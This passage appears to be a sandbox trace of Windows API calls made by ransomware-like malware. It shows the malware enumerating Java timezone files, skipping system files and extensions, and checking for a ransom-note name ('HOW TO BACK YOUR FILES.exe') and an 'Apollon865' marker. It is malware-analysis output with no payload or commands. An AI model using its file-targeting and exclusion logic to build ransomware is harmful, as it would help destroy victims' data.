	[0055.038] lstrcmpiW (lpString1="Cayman", lpString2=".dll") returned 1
	[0055.038] lstrlenW (lpString=".lnk") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayman", lpString2=".lnk") returned 1
	[0055.038] lstrlenW (lpString=".ini") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayman", lpString2=".ini") returned 1
	[0055.038] lstrlenW (lpString=".sys") returned 4
	[0055.038] lstrcmpiW (lpString1="Cayman", lpString2=".sys") returned 1
	[0055.038] lstrlenW (lpString="Cayman") returned 6
	[0055.039] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Chicago" | out: lpString1="Chicago") returned="Chicago"
	[0055.039] lstrlenW (lpString="Chicago") returned 7
	[0055.039] lstrlenW (lpString="Apollon865") returned 10
	[0055.039] lstrlenW (lpString=".dll") returned 4
	[0055.039] lstrcmpiW (lpString1="Chicago", lpString2=".dll") returned 1
	[0055.039] lstrlenW (lpString=".lnk") returned 4
	[0055.039] lstrcmpiW (lpString1="Chicago", lpString2=".lnk") returned 1
	[0055.039] lstrlenW (lpString=".ini") returned 4
	[0055.039] lstrcmpiW (lpString1="Chicago", lpString2=".ini") returned 1
	[0055.039] lstrlenW (lpString=".sys") returned 4
	[0055.039] lstrcmpiW (lpString1="Chicago", lpString2=".sys") returned 1
	[0055.039] lstrlenW (lpString="Chicago") returned 7
	[0055.039] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Chihuahua" | out: lpString1="Chihuahua") returned="Chihuahua"
	[0055.039] lstrlenW (lpString="Chihuahua") returned 9
	[0055.039] lstrlenW (lpString="Apollon865") returned 10
	[0055.039] lstrlenW (lpString=".dll") returned 4
	[0055.039] lstrcmpiW (lpString1="Chihuahua", lpString2=".dll") returned 1
	[0055.039] lstrlenW (lpString=".lnk") returned 4
	[0055.039] lstrcmpiW (lpString1="Chihuahua", lpString2=".lnk") returned 1
	[0055.039] lstrlenW (lpString=".ini") returned 4
	[0055.039] lstrcmpiW (lpString1="Chihuahua", lpString2=".ini") returned 1
	[0055.039] lstrlenW (lpString=".sys") returned 4
	[0055.039] lstrcmpiW (lpString1="Chihuahua", lpString2=".sys") returned 1
	[0055.039] lstrlenW (lpString="Chihuahua") returned 9
	[0055.039] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Costa_Rica" | out: lpString1="Costa_Rica") returned="Costa_Rica"
	[0055.039] lstrlenW (lpString="Costa_Rica") returned 10
	[0055.039] lstrlenW (lpString="Apollon865") returned 10
	[0055.039] lstrlenW (lpString=".dll") returned 4
	[0055.039] lstrcmpiW (lpString1="Costa_Rica", lpString2=".dll") returned 1
	[0055.040] lstrlenW (lpString=".lnk") returned 4
	[0055.040] lstrcmpiW (lpString1="Costa_Rica", lpString2=".lnk") returned 1
	[0055.040] lstrlenW (lpString=".ini") returned 4
	[0055.040] lstrcmpiW (lpString1="Costa_Rica", lpString2=".ini") returned 1
	[0055.040] lstrlenW (lpString=".sys") returned 4
	[0055.040] lstrcmpiW (lpString1="Costa_Rica", lpString2=".sys") returned 1
	[0055.040] lstrlenW (lpString="Costa_Rica") returned 10
	[0055.040] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Creston" | out: lpString1="Creston") returned="Creston"
	[0055.040] lstrlenW (lpString="Creston") returned 7
	[0055.040] lstrlenW (lpString="Apollon865") returned 10
	[0055.040] lstrlenW (lpString=".dll") returned 4
	[0055.040] lstrcmpiW (lpString1="Creston", lpString2=".dll") returned 1
	[0055.040] lstrlenW (lpString=".lnk") returned 4
	[0055.040] lstrcmpiW (lpString1="Creston", lpString2=".lnk") returned 1
	[0055.040] lstrlenW (lpString=".ini") returned 4
	[0055.040] lstrcmpiW (lpString1="Creston", lpString2=".ini") returned 1
	[0055.040] lstrlenW (lpString=".sys") returned 4
	[0055.040] lstrcmpiW (lpString1="Creston", lpString2=".sys") returned 1
	[0055.040] lstrlenW (lpString="Creston") returned 7
	[0055.040] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Cuiaba" | out: lpString1="Cuiaba") returned="Cuiaba"
	[0055.040] lstrlenW (lpString="Cuiaba") returned 6
	[0055.040] lstrlenW (lpString="Apollon865") returned 10
	[0055.040] lstrlenW (lpString=".dll") returned 4
	[0055.040] lstrcmpiW (lpString1="Cuiaba", lpString2=".dll") returned 1
	[0055.040] lstrlenW (lpString=".lnk") returned 4
	[0055.040] lstrcmpiW (lpString1="Cuiaba", lpString2=".lnk") returned 1
	[0055.040] lstrlenW (lpString=".ini") returned 4
	[0055.040] lstrcmpiW (lpString1="Cuiaba", lpString2=".ini") returned 1
	[0055.041] lstrlenW (lpString=".sys") returned 4
	[0055.041] lstrcmpiW (lpString1="Cuiaba", lpString2=".sys") returned 1
	[0055.041] lstrlenW (lpString="Cuiaba") returned 6
	[0055.041] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Curacao" | out: lpString1="Curacao") returned="Curacao"
	[0055.041] lstrlenW (lpString="Curacao") returned 7
	[0055.041] lstrlenW (lpString="Apollon865") returned 10
	[0055.041] lstrlenW (lpString=".dll") returned 4
	[0055.041] lstrcmpiW (lpString1="Curacao", lpString2=".dll") returned 1
	[0055.041] lstrlenW (lpString=".lnk") returned 4
	[0055.041] lstrcmpiW (lpString1="Curacao", lpString2=".lnk") returned 1
	[0055.041] lstrlenW (lpString=".ini") returned 4
	[0055.041] lstrcmpiW (lpString1="Curacao", lpString2=".ini") returned 1
	[0055.041] lstrlenW (lpString=".sys") returned 4
	[0055.041] lstrcmpiW (lpString1="Curacao", lpString2=".sys") returned 1
	[0055.041] lstrlenW (lpString="Curacao") returned 7
	[0055.041] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Danmarkshavn" | out: lpString1="Danmarkshavn") returned="Danmarkshavn"
	[0055.041] lstrlenW (lpString="Danmarkshavn") returned 12
	[0055.041] lstrlenW (lpString="Apollon865") returned 10
	[0055.041] lstrcmpiW (lpString1="nmarkshavn", lpString2="Apollon865") returned 1
	[0055.041] lstrlenW (lpString=".dll") returned 4
	[0055.041] lstrcmpiW (lpString1="Danmarkshavn", lpString2=".dll") returned 1
	[0055.041] lstrlenW (lpString=".lnk") returned 4
	[0055.041] lstrcmpiW (lpString1="Danmarkshavn", lpString2=".lnk") returned 1
	[0055.041] lstrlenW (lpString=".ini") returned 4
	[0055.041] lstrcmpiW (lpString1="Danmarkshavn", lpString2=".ini") returned 1
	[0055.041] lstrlenW (lpString=".sys") returned 4
	[0055.041] lstrcmpiW (lpString1="Danmarkshavn", lpString2=".sys") returned 1
	[0055.042] lstrlenW (lpString="Danmarkshavn") returned 12
	[0055.042] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Dawson" | out: lpString1="Dawson") returned="Dawson"
	[0055.042] lstrlenW (lpString="Dawson") returned 6
	[0055.042] lstrlenW (lpString="Apollon865") returned 10
	[0055.042] lstrlenW (lpString=".dll") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson", lpString2=".dll") returned 1
	[0055.042] lstrlenW (lpString=".lnk") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson", lpString2=".lnk") returned 1
	[0055.042] lstrlenW (lpString=".ini") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson", lpString2=".ini") returned 1
	[0055.042] lstrlenW (lpString=".sys") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson", lpString2=".sys") returned 1
	[0055.042] lstrlenW (lpString="Dawson") returned 6
	[0055.042] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Dawson_Creek" | out: lpString1="Dawson_Creek") returned="Dawson_Creek"
	[0055.042] lstrlenW (lpString="Dawson_Creek") returned 12
	[0055.042] lstrlenW (lpString="Apollon865") returned 10
	[0055.042] lstrcmpiW (lpString1="wson_Creek", lpString2="Apollon865") returned 1
	[0055.042] lstrlenW (lpString=".dll") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson_Creek", lpString2=".dll") returned 1
	[0055.042] lstrlenW (lpString=".lnk") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson_Creek", lpString2=".lnk") returned 1
	[0055.042] lstrlenW (lpString=".ini") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson_Creek", lpString2=".ini") returned 1
	[0055.042] lstrlenW (lpString=".sys") returned 4
	[0055.042] lstrcmpiW (lpString1="Dawson_Creek", lpString2=".sys") returned 1
	[0055.042] lstrlenW (lpString="Dawson_Creek") returned 12
	[0055.043] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Denver" | out: lpString1="Denver") returned="Denver"
	[0055.043] lstrlenW (lpString="Denver") returned 6
	[0055.043] lstrlenW (lpString="Apollon865") returned 10
	[0055.043] lstrlenW (lpString=".dll") returned 4
	[0055.043] lstrcmpiW (lpString1="Denver", lpString2=".dll") returned 1
	[0055.043] lstrlenW (lpString=".lnk") returned 4
	[0055.043] lstrcmpiW (lpString1="Denver", lpString2=".lnk") returned 1
	[0055.043] lstrlenW (lpString=".ini") returned 4
	[0055.043] lstrcmpiW (lpString1="Denver", lpString2=".ini") returned 1
	[0055.043] lstrlenW (lpString=".sys") returned 4
	[0055.043] lstrcmpiW (lpString1="Denver", lpString2=".sys") returned 1
	[0055.043] lstrlenW (lpString="Denver") returned 6
	[0055.043] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Detroit" | out: lpString1="Detroit") returned="Detroit"
	[0055.043] lstrlenW (lpString="Detroit") returned 7
	[0055.043] lstrlenW (lpString="Apollon865") returned 10
	[0055.043] lstrlenW (lpString=".dll") returned 4
	[0055.043] lstrcmpiW (lpString1="Detroit", lpString2=".dll") returned 1
	[0055.043] lstrlenW (lpString=".lnk") returned 4
	[0055.043] lstrcmpiW (lpString1="Detroit", lpString2=".lnk") returned 1
	[0055.043] lstrlenW (lpString=".ini") returned 4
	[0055.043] lstrcmpiW (lpString1="Detroit", lpString2=".ini") returned 1
	[0055.043] lstrlenW (lpString=".sys") returned 4
	[0055.043] lstrcmpiW (lpString1="Detroit", lpString2=".sys") returned 1
	[0055.043] lstrlenW (lpString="Detroit") returned 7
	[0055.045] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Dominica" | out: lpString1="Dominica") returned="Dominica"
	[0055.045] lstrlenW (lpString="Dominica") returned 8
	[0055.045] lstrlenW (lpString="Apollon865") returned 10
	[0055.045] lstrlenW (lpString=".dll") returned 4
	[0055.045] lstrcmpiW (lpString1="Dominica", lpString2=".dll") returned 1
	[0055.045] lstrlenW (lpString=".lnk") returned 4
	[0055.045] lstrcmpiW (lpString1="Dominica", lpString2=".lnk") returned 1
	[0055.045] lstrlenW (lpString=".ini") returned 4
	[0055.045] lstrcmpiW (lpString1="Dominica", lpString2=".ini") returned 1
	[0055.045] lstrlenW (lpString=".sys") returned 4
	[0055.045] lstrcmpiW (lpString1="Dominica", lpString2=".sys") returned 1
	[0055.045] lstrlenW (lpString="Dominica") returned 8
	[0055.045] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Edmonton" | out: lpString1="Edmonton") returned="Edmonton"
	[0055.046] lstrlenW (lpString="Edmonton") returned 8
	[0055.046] lstrlenW (lpString="Apollon865") returned 10
	[0055.046] lstrlenW (lpString=".dll") returned 4
	[0055.046] lstrcmpiW (lpString1="Edmonton", lpString2=".dll") returned 1
	[0055.046] lstrlenW (lpString=".lnk") returned 4
	[0055.046] lstrcmpiW (lpString1="Edmonton", lpString2=".lnk") returned 1
	[0055.046] lstrlenW (lpString=".ini") returned 4
	[0055.046] lstrcmpiW (lpString1="Edmonton", lpString2=".ini") returned 1
	[0055.046] lstrlenW (lpString=".sys") returned 4
	[0055.046] lstrcmpiW (lpString1="Edmonton", lpString2=".sys") returned 1
	[0055.046] lstrlenW (lpString="Edmonton") returned 8
	[0055.046] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Eirunepe" | out: lpString1="Eirunepe") returned="Eirunepe"
	[0055.046] lstrlenW (lpString="Eirunepe") returned 8
	[0055.046] lstrlenW (lpString="Apollon865") returned 10
	[0055.046] lstrlenW (lpString=".dll") returned 4
	[0055.046] lstrcmpiW (lpString1="Eirunepe", lpString2=".dll") returned 1
	[0055.046] lstrlenW (lpString=".lnk") returned 4
	[0055.046] lstrcmpiW (lpString1="Eirunepe", lpString2=".lnk") returned 1
	[0055.046] lstrlenW (lpString=".ini") returned 4
	[0055.046] lstrcmpiW (lpString1="Eirunepe", lpString2=".ini") returned 1
	[0055.046] lstrlenW (lpString=".sys") returned 4
	[0055.046] lstrcmpiW (lpString1="Eirunepe", lpString2=".sys") returned 1
	[0055.046] lstrlenW (lpString="Eirunepe") returned 8
	[0055.046] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="El_Salvador" | out: lpString1="El_Salvador") returned="El_Salvador"
	[0055.046] lstrlenW (lpString="El_Salvador") returned 11
	[0055.046] lstrlenW (lpString="Apollon865") returned 10
	[0055.046] lstrcmpiW (lpString1="l_Salvador", lpString2="Apollon865") returned 1
	[0055.046] lstrlenW (lpString=".dll") returned 4
	[0055.046] lstrcmpiW (lpString1="El_Salvador", lpString2=".dll") returned 1
	[0055.046] lstrlenW (lpString=".lnk") returned 4
	[0055.046] lstrcmpiW (lpString1="El_Salvador", lpString2=".lnk") returned 1
	[0055.047] lstrlenW (lpString=".ini") returned 4
	[0055.047] lstrcmpiW (lpString1="El_Salvador", lpString2=".ini") returned 1
	[0055.047] lstrlenW (lpString=".sys") returned 4
	[0055.047] lstrcmpiW (lpString1="El_Salvador", lpString2=".sys") returned 1
	[0055.047] lstrlenW (lpString="El_Salvador") returned 11
	[0055.047] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Fortaleza" | out: lpString1="Fortaleza") returned="Fortaleza"
	[0055.047] lstrlenW (lpString="Fortaleza") returned 9
	[0055.047] lstrlenW (lpString="Apollon865") returned 10
	[0055.047] lstrlenW (lpString=".dll") returned 4
	[0055.047] lstrcmpiW (lpString1="Fortaleza", lpString2=".dll") returned 1
	[0055.047] lstrlenW (lpString=".lnk") returned 4
	[0055.047] lstrcmpiW (lpString1="Fortaleza", lpString2=".lnk") returned 1
	[0055.047] lstrlenW (lpString=".ini") returned 4
	[0055.047] lstrcmpiW (lpString1="Fortaleza", lpString2=".ini") returned 1
	[0055.047] lstrlenW (lpString=".sys") returned 4
	[0055.047] lstrcmpiW (lpString1="Fortaleza", lpString2=".sys") returned 1
	[0055.047] lstrlenW (lpString="Fortaleza") returned 9
	[0055.047] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Glace_Bay" | out: lpString1="Glace_Bay") returned="Glace_Bay"
	[0055.047] lstrlenW (lpString="Glace_Bay") returned 9
	[0055.047] lstrlenW (lpString="Apollon865") returned 10
	[0055.047] lstrlenW (lpString=".dll") returned 4
	[0055.047] lstrcmpiW (lpString1="Glace_Bay", lpString2=".dll") returned 1
	[0055.047] lstrlenW (lpString=".lnk") returned 4
	[0055.047] lstrcmpiW (lpString1="Glace_Bay", lpString2=".lnk") returned 1
	[0055.047] lstrlenW (lpString=".ini") returned 4
	[0055.047] lstrcmpiW (lpString1="Glace_Bay", lpString2=".ini") returned 1
	[0055.047] lstrlenW (lpString=".sys") returned 4
	[0055.047] lstrcmpiW (lpString1="Glace_Bay", lpString2=".sys") returned 1
	[0055.047] lstrlenW (lpString="Glace_Bay") returned 9
	[0055.048] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Godthab" | out: lpString1="Godthab") returned="Godthab"
	[0055.048] lstrlenW (lpString="Godthab") returned 7
	[0055.048] lstrlenW (lpString="Apollon865") returned 10
	[0055.048] lstrlenW (lpString=".dll") returned 4
	[0055.048] lstrcmpiW (lpString1="Godthab", lpString2=".dll") returned 1
	[0055.048] lstrlenW (lpString=".lnk") returned 4
	[0055.048] lstrcmpiW (lpString1="Godthab", lpString2=".lnk") returned 1
	[0055.048] lstrlenW (lpString=".ini") returned 4
	[0055.048] lstrcmpiW (lpString1="Godthab", lpString2=".ini") returned 1
	[0055.048] lstrlenW (lpString=".sys") returned 4
	[0055.048] lstrcmpiW (lpString1="Godthab", lpString2=".sys") returned 1
	[0055.048] lstrlenW (lpString="Godthab") returned 7
	[0055.048] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Goose_Bay" | out: lpString1="Goose_Bay") returned="Goose_Bay"
	[0055.048] lstrlenW (lpString="Goose_Bay") returned 9
	[0055.048] lstrlenW (lpString="Apollon865") returned 10
	[0055.048] lstrlenW (lpString=".dll") returned 4
	[0055.048] lstrcmpiW (lpString1="Goose_Bay", lpString2=".dll") returned 1
	[0055.048] lstrlenW (lpString=".lnk") returned 4
	[0055.048] lstrcmpiW (lpString1="Goose_Bay", lpString2=".lnk") returned 1
	[0055.048] lstrlenW (lpString=".ini") returned 4
	[0055.048] lstrcmpiW (lpString1="Goose_Bay", lpString2=".ini") returned 1
	[0055.048] lstrlenW (lpString=".sys") returned 4
	[0055.048] lstrcmpiW (lpString1="Goose_Bay", lpString2=".sys") returned 1
	[0055.048] lstrlenW (lpString="Goose_Bay") returned 9
	[0055.048] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Grand_Turk" | out: lpString1="Grand_Turk") returned="Grand_Turk"
	[0055.048] lstrlenW (lpString="Grand_Turk") returned 10
	[0055.048] lstrlenW (lpString="Apollon865") returned 10
	[0055.048] lstrlenW (lpString=".dll") returned 4
	[0055.048] lstrcmpiW (lpString1="Grand_Turk", lpString2=".dll") returned 1
	[0055.048] lstrlenW (lpString=".lnk") returned 4
	[0055.048] lstrcmpiW (lpString1="Grand_Turk", lpString2=".lnk") returned 1
	[0055.049] lstrlenW (lpString=".ini") returned 4
	[0055.049] lstrcmpiW (lpString1="Grand_Turk", lpString2=".ini") returned 1
	[0055.049] lstrlenW (lpString=".sys") returned 4
	[0055.049] lstrcmpiW (lpString1="Grand_Turk", lpString2=".sys") returned 1
	[0055.049] lstrlenW (lpString="Grand_Turk") returned 10
	[0055.049] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Grenada" | out: lpString1="Grenada") returned="Grenada"
	[0055.049] lstrlenW (lpString="Grenada") returned 7
	[0055.049] lstrlenW (lpString="Apollon865") returned 10
	[0055.049] lstrlenW (lpString=".dll") returned 4
	[0055.049] lstrcmpiW (lpString1="Grenada", lpString2=".dll") returned 1
	[0055.049] lstrlenW (lpString=".lnk") returned 4
	[0055.049] lstrcmpiW (lpString1="Grenada", lpString2=".lnk") returned 1
	[0055.049] lstrlenW (lpString=".ini") returned 4
	[0055.049] lstrcmpiW (lpString1="Grenada", lpString2=".ini") returned 1
	[0055.049] lstrlenW (lpString=".sys") returned 4
	[0055.049] lstrcmpiW (lpString1="Grenada", lpString2=".sys") returned 1
	[0055.049] lstrlenW (lpString="Grenada") returned 7
	[0055.049] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guadeloupe" | out: lpString1="Guadeloupe") returned="Guadeloupe"
	[0055.049] lstrlenW (lpString="Guadeloupe") returned 10
	[0055.049] lstrlenW (lpString="Apollon865") returned 10
	[0055.049] lstrlenW (lpString=".dll") returned 4
	[0055.049] lstrcmpiW (lpString1="Guadeloupe", lpString2=".dll") returned 1
	[0055.049] lstrlenW (lpString=".lnk") returned 4
	[0055.049] lstrcmpiW (lpString1="Guadeloupe", lpString2=".lnk") returned 1
	[0055.049] lstrlenW (lpString=".ini") returned 4
	[0055.049] lstrcmpiW (lpString1="Guadeloupe", lpString2=".ini") returned 1
	[0055.049] lstrlenW (lpString=".sys") returned 4
	[0055.049] lstrcmpiW (lpString1="Guadeloupe", lpString2=".sys") returned 1
	[0055.049] lstrlenW (lpString="Guadeloupe") returned 10
	[0055.050] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guatemala" | out: lpString1="Guatemala") returned="Guatemala"
	[0055.050] lstrlenW (lpString="Guatemala") returned 9
	[0055.050] lstrlenW (lpString="Apollon865") returned 10
	[0055.050] lstrlenW (lpString=".dll") returned 4
	[0055.050] lstrcmpiW (lpString1="Guatemala", lpString2=".dll") returned 1
	[0055.050] lstrlenW (lpString=".lnk") returned 4
	[0055.050] lstrcmpiW (lpString1="Guatemala", lpString2=".lnk") returned 1
	[0055.050] lstrlenW (lpString=".ini") returned 4
	[0055.050] lstrcmpiW (lpString1="Guatemala", lpString2=".ini") returned 1
	[0055.050] lstrlenW (lpString=".sys") returned 4
	[0055.050] lstrcmpiW (lpString1="Guatemala", lpString2=".sys") returned 1
	[0055.050] lstrlenW (lpString="Guatemala") returned 9
	[0055.050] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guayaquil" | out: lpString1="Guayaquil") returned="Guayaquil"
	[0055.050] lstrlenW (lpString="Guayaquil") returned 9
	[0055.050] lstrlenW (lpString="Apollon865") returned 10
	[0055.050] lstrlenW (lpString=".dll") returned 4
	[0055.050] lstrcmpiW (lpString1="Guayaquil", lpString2=".dll") returned 1
	[0055.050] lstrlenW (lpString=".lnk") returned 4
	[0055.050] lstrcmpiW (lpString1="Guayaquil", lpString2=".lnk") returned 1
	[0055.050] lstrlenW (lpString=".ini") returned 4
	[0055.050] lstrcmpiW (lpString1="Guayaquil", lpString2=".ini") returned 1
	[0055.050] lstrlenW (lpString=".sys") returned 4
	[0055.050] lstrcmpiW (lpString1="Guayaquil", lpString2=".sys") returned 1
	[0055.050] lstrlenW (lpString="Guayaquil") returned 9
	[0055.050] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guyana" | out: lpString1="Guyana") returned="Guyana"
	[0055.050] lstrlenW (lpString="Guyana") returned 6
	[0055.050] lstrlenW (lpString="Apollon865") returned 10
	[0055.050] lstrlenW (lpString=".dll") returned 4
	[0055.050] lstrcmpiW (lpString1="Guyana", lpString2=".dll") returned 1
	[0055.050] lstrlenW (lpString=".lnk") returned 4
	[0055.051] lstrcmpiW (lpString1="Guyana", lpString2=".lnk") returned 1
	[0055.051] lstrlenW (lpString=".ini") returned 4
	[0055.051] lstrcmpiW (lpString1="Guyana", lpString2=".ini") returned 1
	[0055.051] lstrlenW (lpString=".sys") returned 4
	[0055.051] lstrcmpiW (lpString1="Guyana", lpString2=".sys") returned 1
	[0055.051] lstrlenW (lpString="Guyana") returned 6
	[0055.051] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Halifax" | out: lpString1="Halifax") returned="Halifax"
	[0055.051] lstrlenW (lpString="Halifax") returned 7
	[0055.051] lstrlenW (lpString="Apollon865") returned 10
	[0055.051] lstrlenW (lpString=".dll") returned 4
	[0055.051] lstrcmpiW (lpString1="Halifax", lpString2=".dll") returned 1
	[0055.051] lstrlenW (lpString=".lnk") returned 4
	[0055.051] lstrcmpiW (lpString1="Halifax", lpString2=".lnk") returned 1
	[0055.051] lstrlenW (lpString=".ini") returned 4
	[0055.051] lstrcmpiW (lpString1="Halifax", lpString2=".ini") returned 1
	[0055.051] lstrlenW (lpString=".sys") returned 4
	[0055.051] lstrcmpiW (lpString1="Halifax", lpString2=".sys") returned 1
	[0055.051] lstrlenW (lpString="Halifax") returned 7
	[0055.051] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Havana" | out: lpString1="Havana") returned="Havana"
	[0055.051] lstrlenW (lpString="Havana") returned 6
	[0055.051] lstrlenW (lpString="Apollon865") returned 10
	[0055.051] lstrlenW (lpString=".dll") returned 4
	[0055.051] lstrcmpiW (lpString1="Havana", lpString2=".dll") returned 1
	[0055.051] lstrlenW (lpString=".lnk") returned 4
	[0055.051] lstrcmpiW (lpString1="Havana", lpString2=".lnk") returned 1
	[0055.051] lstrlenW (lpString=".ini") returned 4
	[0055.051] lstrcmpiW (lpString1="Havana", lpString2=".ini") returned 1
	[0055.051] lstrlenW (lpString=".sys") returned 4
	[0055.051] lstrcmpiW (lpString1="Havana", lpString2=".sys") returned 1
	[0055.051] lstrlenW (lpString="Havana") returned 6
	[0055.052] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Hermosillo" | out: lpString1="Hermosillo") returned="Hermosillo"
	[0055.052] lstrlenW (lpString="Hermosillo") returned 10
	[0055.052] lstrlenW (lpString="Apollon865") returned 10
	[0055.052] lstrlenW (lpString=".dll") returned 4
	[0055.052] lstrcmpiW (lpString1="Hermosillo", lpString2=".dll") returned 1
	[0055.052] lstrlenW (lpString=".lnk") returned 4
	[0055.052] lstrcmpiW (lpString1="Hermosillo", lpString2=".lnk") returned 1
	[0055.052] lstrlenW (lpString=".ini") returned 4
	[0055.052] lstrcmpiW (lpString1="Hermosillo", lpString2=".ini") returned 1
	[0055.052] lstrlenW (lpString=".sys") returned 4
	[0055.052] lstrcmpiW (lpString1="Hermosillo", lpString2=".sys") returned 1
	[0055.052] lstrlenW (lpString="Hermosillo") returned 10
	[0055.052] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Indiana" | out: lpString1="Indiana") returned="Indiana"
	[0055.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0055.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aa88
	[0055.052] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0055.052] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Inuvik", cAlternateFileName="")) returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="Apollon865.txt.exe") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2=".") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="..") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="windows") returned -1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="bootmgr") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="temp") returned -1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="pagefile.sys") returned -1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="boot") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="ids.txt") returned 1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="ntuser.dat") returned -1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="perflogs") returned -1
	[0055.052] lstrcmpiW (lpString1="Inuvik", lpString2="MSBuild") returned -1
	[0055.052] lstrlenW (lpString="Inuvik") returned 6
	[0055.052] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana") returned 55
	[0055.053] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Inuvik" | out: lpString1="Inuvik") returned="Inuvik"
	[0055.053] lstrlenW (lpString="Inuvik") returned 6
	[0055.053] lstrlenW (lpString="Apollon865") returned 10
	[0055.053] lstrlenW (lpString=".dll") returned 4
	[0055.053] lstrcmpiW (lpString1="Inuvik", lpString2=".dll") returned 1
	[0055.053] lstrlenW (lpString=".lnk") returned 4
	[0055.053] lstrcmpiW (lpString1="Inuvik", lpString2=".lnk") returned 1
	[0055.053] lstrlenW (lpString=".ini") returned 4
	[0055.053] lstrcmpiW (lpString1="Inuvik", lpString2=".ini") returned 1
	[0055.053] lstrlenW (lpString=".sys") returned 4
	[0055.053] lstrcmpiW (lpString1="Inuvik", lpString2=".sys") returned 1
	[0055.053] lstrlenW (lpString="Inuvik") returned 6
	[0055.053] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Iqaluit" | out: lpString1="Iqaluit") returned="Iqaluit"
	[0055.053] lstrlenW (lpString="Iqaluit") returned 7
	[0055.053] lstrlenW (lpString="Apollon865") returned 10
	[0055.053] lstrlenW (lpString=".dll") returned 4
	[0055.053] lstrcmpiW (lpString1="Iqaluit", lpString2=".dll") returned 1
	[0055.053] lstrlenW (lpString=".lnk") returned 4
	[0055.053] lstrcmpiW (lpString1="Iqaluit", lpString2=".lnk") returned 1
	[0055.053] lstrlenW (lpString=".ini") returned 4
	[0055.053] lstrcmpiW (lpString1="Iqaluit", lpString2=".ini") returned 1
	[0055.053] lstrlenW (lpString=".sys") returned 4
	[0055.053] lstrcmpiW (lpString1="Iqaluit", lpString2=".sys") returned 1
	[0055.053] lstrlenW (lpString="Iqaluit") returned 7
	[0055.053] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Jamaica" | out: lpString1="Jamaica") returned="Jamaica"
	[0055.054] lstrlenW (lpString="Jamaica") returned 7
	[0055.054] lstrlenW (lpString="Apollon865") returned 10
	[0055.054] lstrlenW (lpString=".dll") returned 4
	[0055.054] lstrcmpiW (lpString1="Jamaica", lpString2=".dll") returned 1
	[0055.054] lstrlenW (lpString=".lnk") returned 4
	[0055.054] lstrcmpiW (lpString1="Jamaica", lpString2=".lnk") returned 1
	[0055.054] lstrlenW (lpString=".ini") returned 4
	[0055.054] lstrcmpiW (lpString1="Jamaica", lpString2=".ini") returned 1
	[0055.054] lstrlenW (lpString=".sys") returned 4
	[0055.054] lstrcmpiW (lpString1="Jamaica", lpString2=".sys") returned 1
	[0055.054] lstrlenW (lpString="Jamaica") returned 7
